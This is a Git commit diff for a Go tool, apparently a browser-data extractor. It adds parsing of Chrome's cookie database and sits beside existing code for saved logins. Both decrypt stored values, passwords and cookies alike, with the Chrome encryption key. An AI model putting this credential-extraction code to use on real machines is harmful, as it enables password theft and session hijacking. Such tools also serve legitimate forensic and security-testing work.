feat: add chrome cookie parse

pull/83/head
ᴍᴏᴏɴD4ʀᴋ 4 years ago
parent 7e472c5cee
commit 14ad36e6db
  1. 151
      core/common/common.go
  2. 13
      main.go

@ -19,6 +19,7 @@ const (
var (
browserData = new(BrowserData)
bookmarkList []*Bookmarks
cookieList []*Cookies
)
const (
@ -30,6 +31,10 @@ const (
bookmarkChildren = "children"
)
const (
queryHistory = ``
)
type (
BrowserData struct {
BrowserName string
@ -37,11 +42,11 @@ type (
Bookmarks []*Bookmarks
}
LoginData struct {
UserName string
encryptPass []byte
Password string
LoginUrl string
CreateDate time.Time
UserName string `json:"user_name"`
encryptPass []byte `json:"-"`
Password string `json:"password"`
LoginUrl string `json:"login_url"`
CreateDate time.Time `json:"create_date"`
}
Bookmarks struct {
ID string `json:"id"`
@ -50,7 +55,18 @@ type (
Name string `json:"name"`
Type string `json:"type"`
}
Cookie struct {
Cookies struct {
KeyName string
encryptValue []byte
Value string
Host string
Path string
IsSecure bool
IsHTTPOnly bool
HasExpire bool
IsPersistent bool
CreateDate time.Time
ExpireDate time.Time
}
History struct {
}
@ -68,7 +84,10 @@ func ParseDB(dbname string) {
}
case utils.Bookmarks:
parseBookmarks()
case utils.Cookies:
parseCookie()
}
}
func parseBookmarks() {
@ -80,47 +99,29 @@ func parseBookmarks() {
if r.Exists() {
roots := r.Get("roots")
roots.ForEach(func(key, value gjson.Result) bool {
getBookmarkValue(value)
getBookmarkChildren(value)
return true
})
fmt.Println(len(bookmarkList))
}
}
func getBookmarkValue(value gjson.Result) (children gjson.Result) {
b := new(Bookmarks)
b.ID = value.Get(bookmarkID).String()
nodeType := value.Get(bookmarkType)
b.DateAdded = utils.TimeEpochFormat(value.Get(bookmarkAdded).Int())
b.URL = value.Get(bookmarkUrl).String()
b.Name = value.Get(bookmarkName).String()
children = value.Get(bookmarkChildren)
if nodeType.Exists() {
b.Type = nodeType.String()
bookmarkList = append(bookmarkList, b)
if children.Exists() && children.IsArray() {
for _, v := range children.Array() {
children = getBookmarkValue(v)
}
}
}
return children
}
var queryLogin = `SELECT origin_url, username_value, password_value, date_created FROM logins`
func parseLogin() (results []*LoginData, err error) {
//datetime(visit_time / 1000000 + (strftime('%s', '1601-01-01')), 'unixepoch')
loginD := &LoginData{}
logins, err := sql.Open("sqlite3", utils.LoginData)
login := &LoginData{}
loginDB, err := sql.Open("sqlite3", utils.LoginData)
defer func() {
if err := logins.Close(); err != nil {
if err := loginDB.Close(); err != nil {
log.Println(err)
}
}()
if err != nil {
log.Println(err)
}
err = logins.Ping()
rows, err := logins.Query(`SELECT origin_url, username_value, password_value, date_created FROM logins`)
err = loginDB.Ping()
rows, err := loginDB.Query(queryLogin)
defer func() {
if err := rows.Close(); err != nil {
log.Println(err)
@ -128,39 +129,99 @@ func parseLogin() (results []*LoginData, err error) {
}()
for rows.Next() {
var (
url string
username string
pwd []byte
password string
create int64
url, username, password string
pwd []byte
create int64
)
err = rows.Scan(&url, &username, &pwd, &create)
loginD = &LoginData{
login = &LoginData{
UserName: username,
encryptPass: pwd,
LoginUrl: url,
CreateDate: utils.TimeEpochFormat(create),
}
if len(pwd) > 3 {
if err != nil {
log.Println(err)
continue
}
// remove prefix 'v10'
password, err = utils.Aes128CBCDecrypt(pwd[3:])
}
loginD.Password = password
login.Password = password
if err != nil {
log.Println(err)
}
results = append(results, loginD)
results = append(results, login)
}
return
}
var queryCookie = `SELECT name, encrypted_value, host_key, path, creation_utc, expires_utc, is_secure, is_httponly, has_expires, is_persistent FROM cookies`
func parseCookie() (results []*Cookies, err error) {
cookies := &Cookies{}
cookieDB, err := sql.Open("sqlite3", utils.Cookies)
defer func() {
if err := cookieDB.Close(); err != nil {
log.Println(err)
}
}()
if err != nil {
log.Println(err)
}
err = cookieDB.Ping()
rows, err := cookieDB.Query(queryCookie)
defer func() {
if err := rows.Close(); err != nil {
log.Println(err)
}
}()
for rows.Next() {
var (
key, host, path, value string
isSecure, isHTTPOnly, hasExpire, isPersistent bool
createDate, expireDate int64
encryptValue []byte
)
err = rows.Scan(&key, &encryptValue, &host, &path, &createDate, &expireDate, &isSecure, &isHTTPOnly, &hasExpire, &isPersistent)
cookies = &Cookies{
KeyName: key,
Host: host,
Path: path,
encryptValue: encryptValue,
IsSecure: false,
IsHTTPOnly: false,
HasExpire: false,
IsPersistent: isPersistent,
CreateDate: utils.TimeEpochFormat(createDate),
ExpireDate: utils.TimeEpochFormat(expireDate),
}
if len(encryptValue) > 3 {
// remove prefix 'v10'
value, err = utils.Aes128CBCDecrypt(encryptValue[3:])
}
cookies.Value = value
cookieList = append(cookieList, cookies)
}
return cookieList, err
}
func parseHistory() {
}
func parseCookie() {
func getBookmarkChildren(value gjson.Result) (children gjson.Result) {
b := new(Bookmarks)
b.ID = value.Get(bookmarkID).String()
nodeType := value.Get(bookmarkType)
b.DateAdded = utils.TimeEpochFormat(value.Get(bookmarkAdded).Int())
b.URL = value.Get(bookmarkUrl).String()
b.Name = value.Get(bookmarkName).String()
children = value.Get(bookmarkChildren)
if nodeType.Exists() {
b.Type = nodeType.String()
bookmarkList = append(bookmarkList, b)
if children.Exists() && children.IsArray() {
for _, v := range children.Array() {
children = getBookmarkChildren(v)
}
}
}
return children
}

@ -18,16 +18,16 @@ func parse() {
osName := runtime.GOOS
switch osName {
case "darwin":
//err := utils.InitChromeKey()
//if err != nil {
// log.Println(err)
// panic("init chrome key failed")
//}
err := utils.InitChromeKey()
if err != nil {
log.Println(err)
panic("init chrome key failed")
}
case "windows":
fmt.Println("Windows")
}
//chromePath, err := utils.GetDBPath(utils.LoginData, utils.History, utils.BookMarks, utils.Cookies, utils.WebData)
chromePath, err := utils.GetDBPath(utils.Bookmarks)
chromePath, err := utils.GetDBPath(utils.Cookies)
if err != nil {
log.Error("can't find chrome.app in OS")
}
@ -40,5 +40,4 @@ func parse() {
}
common.ParseDB(dst)
}
}

Loading…
Cancel
Save